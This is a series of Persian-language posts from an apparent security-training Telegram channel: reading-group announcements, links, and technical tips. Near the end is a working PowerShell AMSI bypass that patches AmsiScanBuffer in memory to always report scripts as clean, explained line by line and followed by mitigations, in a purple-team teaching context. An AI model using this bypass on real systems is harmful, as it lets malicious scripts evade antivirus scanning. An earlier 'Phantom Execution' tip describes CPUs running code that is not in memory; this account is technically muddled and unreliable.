خیلی پک شده و جمع و جور میخوای رجستری ویندوز در راستای فارنزیک رو درک کنی و چالش هاش رو بدونی لینک زیر رو بهت معرفی میکنم

#آکادمی_روزبه

https://belkasoft.com/windows-registry-forensics-structure-and-aquisition

نکته فنی روز

تحلیل اجرای کد در محیط‌های سراب (Phantom Execution)

مفهوم:

برخی از بدافزارهای پیشرفته برای جلوگیری از تحلیل، از تکنیکی به نام "Phantom Execution" استفاده می‌کنند. در این روش، بدافزار کدی را اجرا می‌کند که در واقع وجود خارجی ندارد!

چگونه؟

بدافزار ابتدا یک فضای حافظه تخصیص می‌دهد، اما قبل از اینکه کد واقعی در آن قرار بگیرد، CPU را مجبور می‌کند تا آن را اجرا کند.
این کار معمولاً با دستکاری مستقیم Instruction Pointer (EIP/RIP) یا Branch Prediction انجام می‌شود.
برخی پردازنده‌ها، مخصوصاً آن‌هایی که مکانیزم Speculative Execution دارند، ممکن است دستورالعمل‌های بارگذاری‌نشده را موقتاً پردازش کنند، که امکان اجرای کدی را فراهم می‌آورد که عملاً در حافظه وجود ندارد.

چطور مهندسی معکوسش کنیم؟

از Intel Pin یا DynamoRIO برای بررسی رفتارهای غیرعادی اجرای کد استفاده کنید.
ابزارهایی مانند Bochs یا Unicorn Engine می‌توانند پردازش قبل از اجرای واقعی را شبیه‌سازی کنند.
از Branch Tracing در CPUهای مدرن (مثلاً با استفاده از Intel PT) برای کشف شاخه‌های غیرمنتظره کمک بگیرید.

چرا این تکنیک خطرناک است؟

آنتی‌ویروس‌ها و دیباگرهای کلاسیک نمی‌توانند چیزی را که در حافظه بارگذاری نشده تحلیل کنند!
این تکنیک می‌تواند برای اجرای شل‌کدهای مخفی و دور زدن مکانیزم‌های امنیتی استفاده شود.


تمرین عملی هم خواهیم داشت
گروه نوروز کتابخوانی Evasive Malware بدافزار های پیشرفته

#آکادمی_روزبه
#من_آموزش_میدهم

پیرو درخواست دوستان
لینک گروه کتابخوانی عید نوروز
https://t.me/+BhYnsv9Zm6ozODNk

درحال حاضر مباحث پیش نیاز درحال بررسی است

SANS SEC 599: Defeating Advanced Adversaries - Purple Team Tactics & Kill Chain Defenses™

https://t.me/+2azCZP9ZQU1lMTc0

بنا به درخواست دوستان گروهی برای بحث و بررسی در خصوص تیم بنفش Purple Team خواهیم داشت

مباحث در این گروه هم شروع شده است
درحال حاضر بحث جزییات سیسمون هست

مستندی از بلک سل در مورد هانت
#آکادمی_روزبه

گزارش امشب تکنیکی از مندینت

#آکادمی_روزبه

https://cloud.google.com/blog/topics/threat-intelligence/session-stealing-browser-in-the-middle?linkId=13512453

پیام مهم در ساعات پایانی سال ۱۴۰۳

در امنیت، مهم‌ترین تهدیدها همیشه از حملات آشکار نمی‌آیند، بلکه از جزئیاتی که همه فکر می‌کنند بی‌اهمیت هستند.

یک نکته جالب درباره‌ی هک و امنیت اینه که بدافزارها همیشه به دنبال نقاط ضعف آشکار نیستند، بلکه اغلب از اشتباهات کوچک و نامرئی استفاده می‌کنند که حتی متخصصان هم نادیده می‌گیرند.

مثلاً در سال 2010، استاکس‌نت (Stuxnet) یکی از پیشرفته‌ترین بدافزارهای تاریخ، از یک نقص جزئی در نحوه‌ی مدیریت فایل‌های لجر پرینتر ویندوز برای اجرای کد مخرب استفاده کرد! این یعنی هکرهای حرفه‌ای حتی به جزئیاتی مثل نحوه‌ی نمایش یک فایل روی پرینتر هم دقت می‌کنند.

دقت و ریز بینی ؛ رکن مهم در امنیت سایبری

#آکادمی_روزبه

سال نو و نوروز مبارک 🌹

گروه سنز ۵۹۹

گروه کتاب Evasive Malware

شرایط شغلی متخصص امنیت اکتیو دایرکتوری

#آکادمی_روزبه

https://verizon.wd12.myworkdayjobs.com/verizon-careers/job/Temple-Terrace-Florida/Principal-Active-Directory-Security-Engineer_R-1064628

بسم الله
شروع همخوانی کتاب نوروز 🌹

روزی ۵۰ صفحه epub یا ۳۲ صفحه معمول؛ از ۱ فروردین ۱۴۰۴
در گروه کانال تلگرامی آکادمی آموزش روزبه

نام کامل و نویسنده
A Field Guide to Detecting, Analyzing, and Defeating Advanced Threats
by Kyle Cucci
July 2024, 488 pp.
ISBN-13:
9781718503267

بدافزار های پیشرفته : راهنمای عملی و اجرایی برای کشف ، آنالیز و خنثی سازی تهدیدات پیشرفته سایبری

سرفصل کتابی که میخوانیم

Introduction
Part I: The Fundamentals
Chapter 1: Windows Foundational Concepts
Chapter 2: A Crash Course in Malware Triage and Behavioral Analysis
Chapter 3: A Crash Course in Static and Dynamic Code Analysis
Part II: Context Awareness and Sandbox Evasion
Chapter 4: Enumerating Operating System Artifacts
Chapter 5: User Environment and Interaction Detection
Chapter 6: Enumerating Hardware and Network Configurations
Chapter 7: Runtime Environment and Virtual Processor Anomalies
Chapter 8: Evading Sandboxes and Disrupting Analysis
Part III: Anti-reversing
Chapter 9: Anti-disassembly
Chapter 10: Anti-debugging
Chapter 11: Covert Code Execution and Misdirection
Part IV: Defense Evasion
Chapter 12: Process Injection, Manipulation, and Hooking
Chapter 13: Evading Network and Endpoint Defenses
Chapter 14: An Introduction to Rootkits
Chapter 15: Fileless Malware and Anti-forensics
Part V: Other Topics
Chapter 16: Encoding and Encryption
Chapter 17: Packers and Unpacking Malware
Chapter 18: Tips for Building an Anti-evasion Analysis Lab
Appendix A: Evasion-Related Windows API Functions
Appendix B: Windows LOLbins and Example Usage
Appendix C: Further Reading

🍀🍀همیشه بخوان همیشه رشد کن🌱🌱

امروز تا صفحه ۸۱ در فرمت epub خوانده شد

https://t.me/+BhYnsv9Zm6ozODNk

سانس دوم : سنز ۵۹۹

همانطور که می دونین همخوانی کتاب Evasive Malware  امروز شروع شد

در ادامه  در گروه مربوطه دوره زیر سنز ۵۹۹ را هم به کمک دوستان Mohammad E. Taheri و Amir Mohammad Yektaei مرور میکنیم.
با تشکر از این دو همراه قدیمی




لینک اطلاعات و سرفصل و جزییات دوره 7 هزاردلاری سنز 599
https://lnkd.in/d_yczJgB

درحال حاضر صفحه ۱۷۵ کتاب روز اول سنز

لینک گروه
https://t.me/+2azCZP9ZQU1lMTc0

دوره اختصاصی آمادگی آزمون افتا از امروز در آکادمی روزبه ادامه پیدا می‌کند( شروع از ۲۹ اسفند ۱۴۰۳)

اگر میخواین تو چیزی موفق بشین باید مفهوم و پشت پرده رو هم درک کنید

#آکادمی_روزبه

https://clickhouse.com/blog/a-case-of-the-vanishing-cpu-a-linux-kernel-debugging-story

از مقاله ترند میکرو در مورد سابقه bypass ماژول AMSI

بخشی از مبحث درس سنز ۵۹۹ در گروه آموزشی نوروز

نوروز مبارک 🌸🌺
🍀🍀🍀💐بررسی بای پس AMSI در گروه نوروز سنز ۵۹۹ تیم بنفش با تحلیل کد های نمونه ادامه دارد


🍎🍏جزئیات و تحلیل کد در گروه زیر
نوروز و سنز 599 در آکادمی روزبه
https://t.me/+2azCZP9ZQU1lMTc0


🔹 تکنیک دوم: Hook کردن AMSI و دستکاری مقدار برگشتی

در این روش، به جای Patch کردن AmsiScanBuffer، مقدار برگشتی آن را دستکاری می‌کنیم تا همیشه نشان دهد که اسکریپت بی‌خطر است.

---

🔹 ایده کلی این روش
- این AMSI زمانی که یک اسکریپت در حال اجرا باشد، از تابع AmsiScanBuffer برای بررسی آن استفاده می‌کند.
- این تابع یک مقدار خروجی (AMSI_RESULT_CLEAN یا AMSI_RESULT_DETECTED) دارد.
- ما می‌توانیم مقدار خروجی را به‌صورت جعلی تغییر دهیم تا AMSI تصور کند که کد مخرب نیست.

---

🔹 کد PowerShell برای Hook کردن مقدار برگشتی AMSI

$Signature = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type -TypeDefinition $Signature -Language CSharp

# بارگذاری amsi.dll و گرفتن آدرس تابع AmsiScanBuffer
$AmsiDll = [Win32]::LoadLibrary("amsi.dll")
$AmsiScanBuffer = [Win32]::GetProcAddress($AmsiDll, "AmsiScanBuffer")

# تغییر سطح دسترسی حافظه به ReadWriteExecute
$OldProtection = 0
[Win32]::VirtualProtect($AmsiScanBuffer, [UIntPtr] 0x10, 0x40, [ref] $OldProtection)

# نوشتن مقدار جدید برای برگشت از تابع AmsiScanBuffer
$Patch = [Byte[]](0x31, 0xC0, 0xC3)
# 0x31, 0xC0 → دستور XOR EAX, EAX (مقدار برگشتی را 0 می‌کند)
# 0xC3 → دستور RET (بازگشت از تابع)

[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AmsiScanBuffer, 3)


---

🔹 توضیح خط به خط کد

1️⃣ گرفتن آدرس تابع AmsiScanBuffer
- بارگذاری amsi.dll در حافظه.
- دریافت آدرس AmsiScanBuffer که وظیفه اسکن کدها را دارد.

2️⃣ تغییر سطح دسترسی حافظه
- VirtualProtect سطح دسترسی را به EXECUTE_READWRITE تغییر می‌دهد تا بتوانیم تغییرات ایجاد کنیم.

3️⃣ نوشتن Shellcode برای تغییر مقدار برگشتی
- [0x31, 0xC0] → این دستور رجیستر EAX را صفر می‌کند که معادل مقدار AMSI_RESULT_CLEAN است.
- [0xC3] → این دستور RET است که اجرای تابع را متوقف می‌کند.
- نتیجه: AmsiScanBuffer همیشه مقدار تمیز (CLEAN) برمی‌گرداند، حتی اگر کد مخرب باشد.

---

🔹 چرا این روش کار می‌کند؟
✅ به جای حذف AmsiScanBuffer، مقدار برگشتی آن را دستکاری می‌کنیم.
✅ این روش پایداری بیشتری دارد چون AMSI هنوز فعال است، اما مقدار خروجی‌اش تغییر کرده است.
✅ تغییر مقدار برگشتی، باعث می‌شود که AMSI حتی بدافزارهای شناخته‌شده را نیز بی‌خطر گزارش کند.

---

🔹 روش‌های مقابله با این حمله
🔸 فعال کردن Protected Process Light (PPL) که باعث می‌شود دستکاری حافظه amsi.dll سخت‌تر شود.
🔸 اجرای PowerShell در حالت Constrained Language Mode که مانع اجرای توابع خاص C# و APIهای ویندوز می‌شود.
🔸 شناسایی تغییرات مشکوک در amsi.dll با EDR و SIEM.
🔸 استفاده از آنتی‌ویروس‌هایی که Hooking را تشخیص می‌دهند.

---

🔹 جمع‌بندی
✅ این روش به جای غیرفعال کردن AmsiScanBuffer، مقدار برگشتی آن را تغییر می‌دهد.
✅ این تکنیک در بسیاری از بدافزارهای پیشرفته دیده شده است.
✅ شناسایی این روش سخت‌تر است چون هنوز amsi.dll فعال است.

#آکادمی_روزبه

خواندن کتاب Evasive Malware به فصل هفتم رسید